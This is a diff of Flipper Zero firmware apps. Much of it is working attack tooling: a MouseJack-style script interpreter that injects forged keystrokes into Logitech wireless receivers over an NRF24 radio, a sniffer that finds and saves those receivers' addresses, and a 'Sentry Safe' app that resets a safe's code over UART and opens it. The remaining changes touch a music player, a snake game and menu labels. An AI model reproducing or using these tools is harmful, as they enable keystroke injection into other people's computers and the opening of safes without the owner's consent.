uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0};
char* line_tmp = line;
uint32_t line_len = strlen(line);
for(uint32_t i = 0; i < line_len; i++) {
if((line_tmp[i] != ' ') && (line_tmp[i] != '\t') && (line_tmp[i] != '\n')) {
line_tmp = &line_tmp[i];
break; // Skip spaces and tabs
}
if(i == line_len - 1) return true; // Skip empty lines
}
FURI_LOG_I(TAG, "line: %s", line_tmp);
// General commands
if(strncmp(line_tmp, ducky_cmd_comment, strlen(ducky_cmd_comment)) == 0) {
// REM - comment line
return true;
} else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) {
// DELAY
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
uint32_t delay_val = 0;
delay_val = atoi(line_tmp);
if(delay_val > 0) {
uint32_t delay_count = delay_val / 10;
build_hid_packet(0, 0, hid_payload);
inject_packet(
handle,
addr,
addr_size,
rate,
hid_payload,
LOGITECH_HID_TEMPLATE_SIZE); // empty hid packet
for(uint32_t i = 0; i < delay_count; i++) {
inject_packet(
handle, addr, addr_size, rate, LOGITECH_KEEPALIVE, LOGITECH_KEEPALIVE_SIZE);
furi_delay_ms(10);
}
return true;
}
return false;
} else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) {
// STRING
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
for(size_t i = 0; i < strlen(line_tmp); i++) {
if(!mj_get_ducky_key(&line_tmp[i], 1, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
}
return true;
} else if(strncmp(line_tmp, ducky_cmd_repeat, strlen(ducky_cmd_repeat)) == 0) {
// REPEAT
uint32_t repeat_cnt = 0;
if(prev_line == NULL) return false;
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
repeat_cnt = atoi(line_tmp);
if(repeat_cnt < 2) return false;
FURI_LOG_I(TAG, "repeating %s %d times", prev_line, repeat_cnt);
for(uint32_t i = 0; i < repeat_cnt; i++)
mj_process_ducky_line(handle, addr, addr_size, rate, prev_line, NULL);
return true;
} else if(strncmp(line_tmp, "ALT", strlen("ALT")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4, dk.hid);
return true;
} else if(
strncmp(line_tmp, "GUI", strlen("GUI")) == 0 ||
strncmp(line_tmp, "WINDOWS", strlen("WINDOWS")) == 0 ||
strncmp(line_tmp, "COMMAND", strlen("COMMAND")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 8, dk.hid);
return true;
} else if(
strncmp(line_tmp, "CTRL-ALT", strlen("CTRL-ALT")) == 0 ||
strncmp(line_tmp, "CONTROL-ALT", strlen("CONTROL-ALT")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4 | 1, dk.hid);
return true;
} else if(
strncmp(line_tmp, "CTRL-SHIFT", strlen("CTRL-SHIFT")) == 0 ||
strncmp(line_tmp, "CONTROL-SHIFT", strlen("CONTROL-SHIFT")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4 | 2, dk.hid);
return true;
} else if(
strncmp(line_tmp, "CTRL", strlen("CTRL")) == 0 ||
strncmp(line_tmp, "CONTROL", strlen("CONTROL")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 1, dk.hid);
return true;
} else if(strncmp(line_tmp, "SHIFT", strlen("SHIFT")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 2, dk.hid);
return true;
} else if(
strncmp(line_tmp, "ESC", strlen("ESC")) == 0 ||
strncmp(line_tmp, "APP", strlen("APP")) == 0 ||
strncmp(line_tmp, "ESCAPE", strlen("ESCAPE")) == 0) {
if(!mj_get_ducky_key("ESCAPE", 6, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
} else if(strncmp(line_tmp, "ENTER", strlen("ENTER")) == 0) {
if(!mj_get_ducky_key("ENTER", 5, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
} else if(
strncmp(line_tmp, "UP", strlen("UP")) == 0 ||
strncmp(line_tmp, "UPARROW", strlen("UPARROW")) == 0) {
if(!mj_get_ducky_key("UP", 2, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
} else if(
strncmp(line_tmp, "DOWN", strlen("DOWN")) == 0 ||
strncmp(line_tmp, "DOWNARROW", strlen("DOWNARROW")) == 0) {
if(!mj_get_ducky_key("DOWN", 4, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
} else if(
strncmp(line_tmp, "LEFT", strlen("LEFT")) == 0 ||
strncmp(line_tmp, "LEFTARROW", strlen("LEFTARROW")) == 0) {
if(!mj_get_ducky_key("LEFT", 4, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
} else if(
strncmp(line_tmp, "RIGHT", strlen("RIGHT")) == 0 ||
strncmp(line_tmp, "RIGHTARROW", strlen("RIGHTARROW")) == 0) {
if(!mj_get_ducky_key("RIGHT", 5, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
} else if(strncmp(line_tmp, "SPACE", strlen("SPACE")) == 0) {
if(!mj_get_ducky_key("SPACE", 5, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
}
return false;
}
void mj_process_ducky_script(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
char* script) {
uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0};
char* prev_line = NULL;
inject_packet(handle, addr, addr_size, rate, LOGITECH_HELLO, LOGITECH_HELLO_SIZE);
char* line = strtok(script, "\n");
while(line != NULL) {
if(strcmp(&line[strlen(line) - 1], "\r") == 0) line[strlen(line) - 1] = (char)0;
if(!mj_process_ducky_line(handle, addr, addr_size, rate, line, prev_line))
FURI_LOG_I(TAG, "unable to process ducky script line: %s", line);
prev_line = line;
line = strtok(NULL, "\n");
}
build_hid_packet(0, 0, hid_payload);
inject_packet(
handle,
addr,
addr_size,
rate,
hid_payload,
LOGITECH_HID_TEMPLATE_SIZE); // empty hid packet at end
}

View file

@ -0,0 +1,31 @@
#pragma once
#include <stdlib.h>
#include <stdbool.h>
#include <stdint.h>
#include <furi_hal_spi.h>
#include <stdio.h>
#include <string.h>
#include <nrf24.h>
#include <furi.h>
#include <furi_hal.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef struct {
char* name;
uint8_t hid;
uint8_t mod;
} MJDuckyKey;
void mj_process_ducky_script(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
char* script);
#ifdef __cplusplus
}
#endif

View file

@ -30,7 +30,7 @@ typedef struct {
typedef struct {
MusicPlayerModel* model;
FuriMutex** model_mutex;
FuriMutex* model_mutex;
FuriMessageQueue* input_queue;
@ -256,7 +256,7 @@ MusicPlayer* music_player_alloc() {
instance->model = malloc(sizeof(MusicPlayerModel));
memset(instance->model->duration_history, 0xff, MUSIC_PLAYER_SEMITONE_HISTORY_SIZE);
memset(instance->model->semitone_history, 0xff, MUSIC_PLAYER_SEMITONE_HISTORY_SIZE);
instance->model->volume = 3;
instance->model->volume = 1;
instance->model_mutex = furi_mutex_alloc(FuriMutexTypeNormal);

View file

@ -79,7 +79,7 @@ static int32_t music_player_worker_thread_callback(void* context) {
furi_hal_speaker_stop();
furi_hal_speaker_start(frequency, volume);
while(instance->should_work && furi_get_tick() < next_tick) {
volume *= 0.9945679;
volume *= 1.0000000;
furi_hal_speaker_set_volume(volume);
furi_delay_ms(2);
}

View file

@ -26,7 +26,7 @@ void nfc_scene_mf_ultralight_unlock_menu_on_enter(void* context) {
nfc);
submenu_add_item(
submenu,
"Auth As Ameebo",
"Auth As Am11bo",
SubmenuIndexMfUlUnlockMenuAmeebo,
nfc_scene_mf_ultralight_unlock_menu_submenu_callback,
nfc);

View file

@ -46,16 +46,18 @@ const char* const volume_text[VOLUME_COUNT] = {
};
const float volume_value[VOLUME_COUNT] = {0.0f, 0.25f, 0.5f, 0.75f, 1.0f};
#define DELAY_COUNT 6
#define DELAY_COUNT 8
const char* const delay_text[DELAY_COUNT] = {
"1s",
"5s",
"10s",
"15s",
"30s",
"60s",
"90s",
"120s",
};
const uint32_t delay_value[DELAY_COUNT] = {1000, 5000, 15000, 30000, 60000, 120000};
const uint32_t delay_value[DELAY_COUNT] = {1000, 5000, 10000, 15000, 30000, 60000, 90000, 120000};
#define VIBRO_COUNT 2
const char* const vibro_text[VIBRO_COUNT] = {

View file

@ -0,0 +1,10 @@
App(
appid="nrf_sniff",
name="[NRF24] Sniffer",
apptype=FlipperAppType.PLUGIN,
entry_point="nrfsniff_app",
cdefines=["APP_NRFSNIFF"],
requires=["gui"],
stack_size=2 * 1024,
order=70,
)

View file

@ -0,0 +1,417 @@
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#include <furi_hal_gpio.h>
#include <furi_hal_spi.h>
#include <furi_hal_interrupt.h>
#include <furi_hal_resources.h>
#include <nrf24.h>
#include <toolbox/stream/file_stream.h>
#define LOGITECH_MAX_CHANNEL 85
#define COUNT_THRESHOLD 4
#define SAMPLE_TIME 20000
#define NRFSNIFF_APP_PATH_FOLDER "/ext/nrfsniff"
#define NRFSNIFF_APP_FILENAME "addresses.txt"
#define TAG "nrfsniff"
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} PluginEvent;
typedef struct {
int x;
int y;
} PluginState;
char rate_text_fmt[] = "Transfer rate: %dMbps";
char channel_text_fmt[] = "Channel: %d";
char preamble_text_fmt[] = "Preamble: %02X";
char sniff_text_fmt[] = "Sniffing: %s";
char addresses_header_text[] = "Address,rate";
char sniffed_address_fmt[] = "%s,%d";
char rate_text[46];
char channel_text[42];
char preamble_text[14];
char sniff_text[38];
char sniffed_address[14];
uint8_t target_channel = 0;
uint8_t target_rate = 8; // rate can be either 8 (2Mbps) or 0 (1Mbps)
uint8_t target_preamble[] = {0xAA, 0x00};
uint8_t sniffing_state = false;
char top_address[12];
uint8_t candidates[100][5] = {0}; // top 100 recurring addresses
uint32_t counts[100];
uint8_t total_candidates = 0;
uint8_t last_cleanup_idx = 101; // avoid replacing the last replaced addr
static int get_addr_index(uint8_t* addr, uint8_t addr_size) {
for(int i = 0; i < total_candidates; i++) {
uint8_t* arr_item = candidates[i];
if(!memcmp(arr_item, addr, addr_size)) return i;
}
return -1;
}
/*
static uint32_t get_addr_count(uint8_t* addr, uint8_t addr_size)
{
return counts[get_addr_index(addr, addr_size)];
}
*/
static uint8_t get_lowest_idx() {
uint32_t lowest = 10000;
uint8_t lowest_idx = 0;
for(uint8_t i = 0; i < total_candidates; i++) {
if(i == last_cleanup_idx) continue;
if(counts[i] < lowest) {
lowest = counts[i];
lowest_idx = i;
}
}
last_cleanup_idx = lowest_idx;
return lowest_idx;
}
static uint8_t get_highest_idx() {
uint32_t highest = 0;
uint8_t highest_idx = 0;
for(uint8_t i = 0; i < total_candidates; i++) {
if(counts[i] > highest) {
highest = counts[i];
highest_idx = i;
}
}
return highest_idx;
}
static void insert_addr(uint8_t* addr, uint8_t addr_size) {
uint8_t idx = total_candidates;
if(total_candidates > 99) {
// replace addr with lowest count
idx = get_lowest_idx();
}
memcpy(candidates[idx], addr, addr_size);
counts[idx] = 1;
if(total_candidates < 100) total_candidates++;
}
static void render_callback(Canvas* const canvas, void* ctx) {
uint8_t rate = 2;
char sniffing[] = "Yes";
const PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25);
if(plugin_state == NULL) {
return;
}
// border around the edge of the screen
canvas_draw_frame(canvas, 0, 0, 128, 64);
canvas_set_font(canvas, FontSecondary);
if(target_rate == 0) rate = 1;
if(!sniffing_state) strcpy(sniffing, "No");
snprintf(rate_text, sizeof(rate_text), rate_text_fmt, (int)rate);
snprintf(channel_text, sizeof(channel_text), channel_text_fmt, (int)target_channel);
snprintf(preamble_text, sizeof(preamble_text), preamble_text_fmt, target_preamble[0]);
snprintf(sniff_text, sizeof(sniff_text), sniff_text_fmt, sniffing);
snprintf(
sniffed_address, sizeof(sniffed_address), sniffed_address_fmt, top_address, (int)rate);
canvas_draw_str_aligned(canvas, 10, 10, AlignLeft, AlignBottom, rate_text);
canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, channel_text);
canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, preamble_text);
canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, sniff_text);
canvas_draw_str_aligned(canvas, 30, 50, AlignLeft, AlignBottom, addresses_header_text);
canvas_draw_str_aligned(canvas, 30, 60, AlignLeft, AlignBottom, sniffed_address);
release_mutex((ValueMutex*)ctx, plugin_state);
}
static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void hexlify(uint8_t* in, uint8_t size, char* out) {
memset(out, 0, size * 2);
for(int i = 0; i < size; i++)
snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]);
}
static bool save_addr_to_file(Storage* storage, uint8_t* data, uint8_t size) {
size_t file_size = 0;
uint8_t linesize = 0;
char filepath[42] = {0};
char addrline[14] = {0};
char ending[4];
uint8_t* file_contents;
uint8_t rate = 1;
Stream* stream = file_stream_alloc(storage);
if(target_rate == 8) rate = 2;
snprintf(ending, sizeof(ending), ",%d\n", rate);
hexlify(data, size, addrline);
strcat(addrline, ending);
linesize = strlen(addrline);
strcpy(filepath, NRFSNIFF_APP_PATH_FOLDER);
strcat(filepath, "/");
strcat(filepath, NRFSNIFF_APP_FILENAME);
stream_seek(stream, 0, StreamOffsetFromStart);
// check if address already exists in file
if(file_stream_open(stream, filepath, FSAM_READ, FSOM_OPEN_EXISTING)) {
bool found = false;
file_size = stream_size(stream);
stream_seek(stream, 0, StreamOffsetFromStart);
if(file_size > 0) {
file_contents = malloc(file_size + 1);
memset(file_contents, 0, file_size + 1);
if(stream_read(stream, file_contents, file_size) > 0) {
char* line = strtok((char*)file_contents, "\n");
while(line != NULL) {
if(!memcmp(line, addrline, 12)) {
found = true;
break;
}
line = strtok(NULL, "\n");
}
}
free(file_contents);
}
stream_free(stream);
if(found) return false;
stream = file_stream_alloc(storage);
stream_seek(stream, 0, StreamOffsetFromStart);
}
// save address to file
if(!file_stream_open(stream, filepath, FSAM_WRITE, FSOM_OPEN_APPEND))
FURI_LOG_I(TAG, "Cannot open file \"%s\"", filepath);
if(stream_write(stream, (uint8_t*)addrline, linesize) != linesize)
FURI_LOG_I(TAG, "failed to write bytes to file stream");
FURI_LOG_I(TAG, "save successful");
stream_free(stream);
return true;
}
void alt_address(uint8_t* addr, uint8_t* altaddr) {
uint8_t macmess_hi_b[4];
uint32_t macmess_hi;
uint8_t macmess_lo;
uint8_t preserved;
uint8_t tmpaddr[5];
// swap bytes
for(int i = 0; i < 5; i++) tmpaddr[i] = addr[4 - i];
// get address into 32-bit and 8-bit variables
memcpy(macmess_hi_b, tmpaddr, 4);
macmess_lo = tmpaddr[4];
macmess_hi = bytes_to_int32(macmess_hi_b, true);
//preserve lowest bit from hi to shift to low
preserved = macmess_hi & 1;
macmess_hi >>= 1;
macmess_lo >>= 1;
macmess_lo = (preserved << 7) | macmess_lo;
int32_to_bytes(macmess_hi, macmess_hi_b, true);
memcpy(tmpaddr, macmess_hi_b, 4);
tmpaddr[4] = macmess_lo;
// swap bytes back
for(int i = 0; i < 5; i++) altaddr[i] = tmpaddr[4 - i];
}
static void wrap_up(Storage* storage) {
uint8_t ch;
uint8_t addr[5];
uint8_t altaddr[5];
char trying[12];
uint8_t idx;
uint8_t rate = 0;
if(target_rate == 8) rate = 2;
nrf24_set_idle(nrf24_HANDLE);
while(true) {
idx = get_highest_idx();
if(counts[idx] < COUNT_THRESHOLD) break;
counts[idx] = 0;
memcpy(addr, candidates[idx], 5);
hexlify(addr, 5, trying);
FURI_LOG_I(TAG, "trying address %s", trying);
ch = nrf24_find_channel(nrf24_HANDLE, addr, addr, 5, rate, 2, LOGITECH_MAX_CHANNEL, false);
FURI_LOG_I(TAG, "find_channel returned %d", (int)ch);
if(ch > LOGITECH_MAX_CHANNEL) {
alt_address(addr, altaddr);
hexlify(altaddr, 5, trying);
FURI_LOG_I(TAG, "trying alternate address %s", trying);
ch = nrf24_find_channel(
nrf24_HANDLE, altaddr, altaddr, 5, rate, 2, LOGITECH_MAX_CHANNEL, false);
FURI_LOG_I(TAG, "find_channel returned %d", (int)ch);
memcpy(addr, altaddr, 5);
}
if(ch <= LOGITECH_MAX_CHANNEL) {
hexlify(addr, 5, top_address);
save_addr_to_file(storage, addr, 5);
break;
}
}
}
static void start_sniffing() {
memset(candidates, 0, sizeof(candidates));
memset(counts, 0, sizeof(counts));
nrf24_init_promisc_mode(nrf24_HANDLE, target_channel, target_rate);
}
int32_t nrfsniff_app(void* p) {
UNUSED(p);
uint8_t address[5] = {0};
uint32_t start = 0;
hexlify(address, 5, top_address);
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
PluginState* plugin_state = malloc(sizeof(PluginState));
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) {
FURI_LOG_E(TAG, "cannot create mutex\r\n");
free(plugin_state);
return 255;
}
nrf24_init();
// Set system callbacks
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, render_callback, &state_mutex);
view_port_input_callback_set(view_port, input_callback, event_queue);
// Open GUI and register view_port
Gui* gui = furi_record_open("gui");
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
Storage* storage = furi_record_open("storage");
storage_common_mkdir(storage, NRFSNIFF_APP_PATH_FOLDER);
PluginEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex);
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if(event.input.type == InputTypePress ||
(event.input.type == InputTypeLong && event.input.key == InputKeyBack)) {
switch(event.input.key) {
case InputKeyUp:
// toggle rate 1/2Mbps
if(!sniffing_state) {
if(target_rate == 0)
target_rate = 8;
else
target_rate = 0;
}
break;
case InputKeyDown:
// toggle preamble
if(!sniffing_state) {
if(target_preamble[0] == 0x55)
target_preamble[0] = 0xAA;
else
target_preamble[0] = 0x55;
nrf24_set_src_mac(nrf24_HANDLE, target_preamble, 2);
}
break;
case InputKeyRight:
// increment channel
if(!sniffing_state && target_channel <= LOGITECH_MAX_CHANNEL)
target_channel++;
break;
case InputKeyLeft:
// decrement channel
if(!sniffing_state && target_channel > 0) target_channel--;
break;
case InputKeyOk:
// toggle sniffing
sniffing_state = !sniffing_state;
if(sniffing_state) {
start_sniffing();
start = furi_get_tick();
} else
wrap_up(storage);
break;
case InputKeyBack:
if(event.input.type == InputTypeLong) processing = false;
break;
}
}
}
} else {
FURI_LOG_D(TAG, "osMessageQueue: event timeout");
// event timeout
}
if(sniffing_state) {
if(nrf24_sniff_address(nrf24_HANDLE, 5, address)) {
int idx;
uint8_t* top_addr;
idx = get_addr_index(address, 5);
if(idx == -1)
insert_addr(address, 5);
else
counts[idx]++;
top_addr = candidates[get_highest_idx()];
hexlify(top_addr, 5, top_address);
}
if(furi_get_tick() - start >= SAMPLE_TIME) {
wrap_up(storage);
target_channel++;
if(target_channel > LOGITECH_MAX_CHANNEL) target_channel = 2;
start_sniffing();
start = furi_get_tick();
}
}
view_port_update(view_port);
release_mutex(&state_mutex, plugin_state);
}
furi_hal_spi_release(nrf24_HANDLE);
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close("gui");
furi_record_close("storage");
view_port_free(view_port);
furi_message_queue_free(event_queue);
return 0;
}

View file

@ -6,6 +6,5 @@ App(
cdefines=["APP_PICOPASS"],
requires=["storage", "gui"],
stack_size=1 * 1024,
icon="A_Plugins_14",
order=30,
)

View file

@ -0,0 +1,10 @@
App(
appid="sentry_safe",
name="[GPIO] Sentry Safe",
apptype=FlipperAppType.PLUGIN,
entry_point="sentry_safe_app",
cdefines=["APP_SENTRY_SAFE"],
requires=["gui"],
stack_size=1 * 1024,
order=80,
)

View file

@ -0,0 +1,166 @@
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#include <furi_hal.h>
typedef struct {
uint8_t status;
} SentryState;
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} Event;
const char* status_texts[3] = {"[Press OK to open safe]", "Sending...", "Done !"};
static void sentry_safe_render_callback(Canvas* const canvas, void* ctx) {
const SentryState* sentry_state = acquire_mutex((ValueMutex*)ctx, 25);
if(sentry_state == NULL) {
return;
}
// Before the function is called, the state is set with the canvas_reset(canvas)
// Frame
canvas_draw_frame(canvas, 0, 0, 128, 64);
// Message
canvas_set_font(canvas, FontPrimary);
canvas_draw_frame(canvas, 22, 4, 84, 24);
canvas_draw_str_aligned(canvas, 64, 15, AlignCenter, AlignBottom, "BLACK <-> GND");
canvas_draw_str_aligned(canvas, 64, 25, AlignCenter, AlignBottom, "GREEN <-> C1 ");
canvas_draw_str_aligned(
canvas, 64, 50, AlignCenter, AlignBottom, status_texts[sentry_state->status]);
release_mutex((ValueMutex*)ctx, sentry_state);
}
static void sentry_safe_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
Event event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
void send_request(int command, int a, int b, int c, int d, int e) {
int checksum = (command + a + b + c + d + e);
furi_hal_gpio_init_simple(&gpio_ext_pc1, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pc1, false);
furi_delay_ms(3.4);
furi_hal_gpio_write(&gpio_ext_pc1, true);
furi_hal_uart_init(FuriHalUartIdLPUART1, 4800);
//furi_hal_uart_set_br(FuriHalUartIdLPUART1, 4800);
//furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, usb_uart_on_irq_cb, usb_uart);
uint8_t data[8] = {0x0, command, a, b, c, d, e, checksum};
furi_hal_uart_tx(FuriHalUartIdLPUART1, data, 8);
furi_delay_ms(100);
furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, NULL, NULL);
furi_hal_uart_deinit(FuriHalUartIdLPUART1);
}
void reset_code(int a, int b, int c, int d, int e) {
send_request(0x75, a, b, c, d, e);
}
void try_code(int a, int b, int c, int d, int e) {
send_request(0x71, a, b, c, d, e);
}
int32_t sentry_safe_app(void* p) {
UNUSED(p);
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(Event));
SentryState* sentry_state = malloc(sizeof(SentryState));
sentry_state->status = 0;
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, sentry_state, sizeof(SentryState))) {
FURI_LOG_E("SentrySafe", "cannot create mutex\r\n");
free(sentry_state);
return 255;
}
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, sentry_safe_render_callback, &state_mutex);
view_port_input_callback_set(view_port, sentry_safe_input_callback, event_queue);
// Open GUI and register view_port
Gui* gui = furi_record_open("gui");
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
Event event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
SentryState* sentry_state = (SentryState*)acquire_mutex_block(&state_mutex);
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if(event.input.type == InputTypePress) {
switch(event.input.key) {
case InputKeyUp:
break;
case InputKeyDown:
break;
case InputKeyRight:
break;
case InputKeyLeft:
break;
case InputKeyOk:
if(sentry_state->status == 2) {
sentry_state->status = 0;
} else if(sentry_state->status == 0) {
sentry_state->status = 1;
reset_code(1, 2, 3, 4, 5);
furi_delay_ms(500);
try_code(1, 2, 3, 4, 5);
sentry_state->status = 2;
}
break;
case InputKeyBack:
processing = false;
break;
}
}
}
} else {
// event timeout
}
view_port_update(view_port);
release_mutex(&state_mutex, sentry_state);
}
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close("gui");
view_port_free(view_port);
furi_message_queue_free(event_queue);
delete_mutex(&state_mutex);
free(sentry_state);
return 0;
}

View file

@ -1,11 +1,10 @@
App(
appid="snake_game",
name="Snake Game",
apptype=FlipperAppType.PLUGIN,
apptype=FlipperAppType.GAME,
entry_point="snake_game_app",
cdefines=["APP_SNAKE_GAME"],
requires=["gui"],
stack_size=1 * 1024,
icon="A_Plugins_14",
order=30,
order=10,
)

View file

@ -2,6 +2,8 @@
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
typedef struct {
// +-----x
@ -59,6 +61,15 @@ typedef struct {
InputEvent input;
} SnakeEvent;
static const NotificationSequence sequence_short_vibro_and_sound = {
&message_vibro_on,
&message_note_c5,
&message_delay_50,
&message_sound_off,
&message_vibro_off,
NULL,
};
static void snake_game_render_callback(Canvas* const canvas, void* ctx) {
const SnakeState* snake_state = acquire_mutex((ValueMutex*)ctx, 25);
if(snake_state == NULL) {
@ -84,6 +95,12 @@ static void snake_game_render_callback(Canvas* const canvas, void* ctx) {
canvas_draw_box(canvas, p.x, p.y, 4, 4);
}
// Show score on the game field
if(snake_state->state != GameStateGameOver) {
char buffer2[6];
snprintf(buffer2, sizeof(buffer2), "%u", snake_state->len - 7);
canvas_draw_str_aligned(canvas, 124, 10, AlignRight, AlignBottom, buffer2);
}
// Game Over banner
if(snake_state->state == GameStateGameOver) {
// Screen is 128x64 px
@ -230,7 +247,7 @@ static void snake_game_move_snake(SnakeState* const snake_state, Point const nex
snake_state->points[0] = next_step;
}
static void snake_game_process_game_step(SnakeState* const snake_state) {
static void snake_game_process_game_step(SnakeState* const snake_state, NotificationApp* notify) {
if(snake_state->state == GameStateGameOver) {
return;
}
@ -265,6 +282,9 @@ static void snake_game_process_game_step(SnakeState* const snake_state) {
bool eatFruit = (next_step.x == snake_state->fruit.x) && (next_step.y == snake_state->fruit.y);
if(eatFruit) {
notification_message(notify, &sequence_short_vibro_and_sound);
//notification_message(notify, &sequence_blink_white_100);
snake_state->len++;
if(snake_state->len >= MAX_SNAKE_LEN) {
snake_state->state = GameStateGameOver;
@ -307,6 +327,8 @@ int32_t snake_game_app(void* p) {
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
SnakeEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
@ -341,7 +363,7 @@ int32_t snake_game_app(void* p) {
}
}
} else if(event.type == EventTypeTick) {
snake_game_process_game_step(snake_state);
snake_game_process_game_step(snake_state, notification);
}
} else {
// event timeout
@ -355,6 +377,7 @@ int32_t snake_game_app(void* p) {
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
view_port_free(view_port);
furi_message_queue_free(event_queue);
delete_mutex(&state_mutex);

Some files were not shown because too many files have changed in this diff Show more